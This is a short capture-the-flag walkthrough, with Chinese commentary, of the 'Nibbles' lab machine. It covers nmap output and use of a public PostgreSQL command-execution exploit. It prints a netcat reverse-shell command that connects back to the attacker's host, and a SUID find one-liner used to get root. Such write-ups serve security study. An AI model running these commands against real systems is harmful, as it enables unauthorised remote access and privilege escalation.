Nibbles PG walkthrough Intermediate

nmap

nmap -p- -A 192.168.239.47
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-15 02:26 UTC
Nmap scan report for 192.168.239.47
Host is up (0.071s latency).
Not shown: 65529 filtered tcp ports (no-response)
PORT     STATE  SERVICE      VERSION
21/tcp   open   ftp          vsftpd 3.0.3
22/tcp   open   ssh          OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 10:62:1f:f5:22:de:29:d4:24:96:a7:66:c3:64:b7:10 (RSA)
|   256 c9:15:ff:cd:f3:97:ec:39:13:16:48:38:c5:58:d7:5f (ECDSA)
|_  256 90:7c:a3:44:73:b4:b4:4c:e3:9c:71:d1:87:ba:ca:7b (ED25519)
80/tcp   open   http         Apache httpd 2.4.38 ((Debian))
|_http-title: Enter a title, displayed at the top of the window.
|_http-server-header: Apache/2.4.38 (Debian)
139/tcp  closed netbios-ssn
445/tcp  closed microsoft-ds
5437/tcp open   postgresql   PostgreSQL DB 11.3 - 11.9
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=debian
| Subject Alternative Name: DNS:debian
| Not valid before: 2020-04-27T15:41:47
|_Not valid after:  2030-04-25T15:41:47
Aggressive OS guesses: Linux 5.0 - 5.14 (98%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (98%), Linux 4.15 - 5.19 (94%), Linux 2.6.32 - 3.13 (93%), OpenWrt 22.03 (Linux 5.10) (92%), Linux 3.10 - 4.11 (91%), Linux 5.0 (91%), Linux 3.2 - 4.14 (90%), Linux 4.15 (90%), Linux 2.6.32 - 3.10 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 4 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 139/tcp)
HOP RTT      ADDRESS
1   70.23 ms 192.168.45.1
2   70.21 ms 192.168.45.254
3   70.83 ms 192.168.251.1
4   71.54 ms 192.168.239.47

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 124.94 seconds

ftp

尝试匿名登录 发现不行

根据本部搜索exp 发现没有啥可利用的

看看80端口

看着web这么简陋就感觉有洞

扫一下看看有啥东西

也没扫到啥东西

继续过 445 和 139 端口开着看看有无共享smb目录



发现也没有哦

目光转移到PostgreSQL DB 11.3 - 11.9 这个端口

上网搜exp 发现有一个值得利用的exp

https://www.exploit-db.com/exploits/50847

尝试一下



嘿 发现真的可以哦！！！

尝试反弹shell

我尝试反弹shell 发现执行不了 执行了好几个反弹shell 命令最终发现这个行的通

python exp2.py -i 192.168.239.47 -p 5437 -c "nc -e /bin/bash 192.168.45.250 80"

ok 进入提权环节

发现find 竟然是suid权限的 这提权有手就行



find . -exec /bin/sh -p \; -quit



提权成功

总用时半小时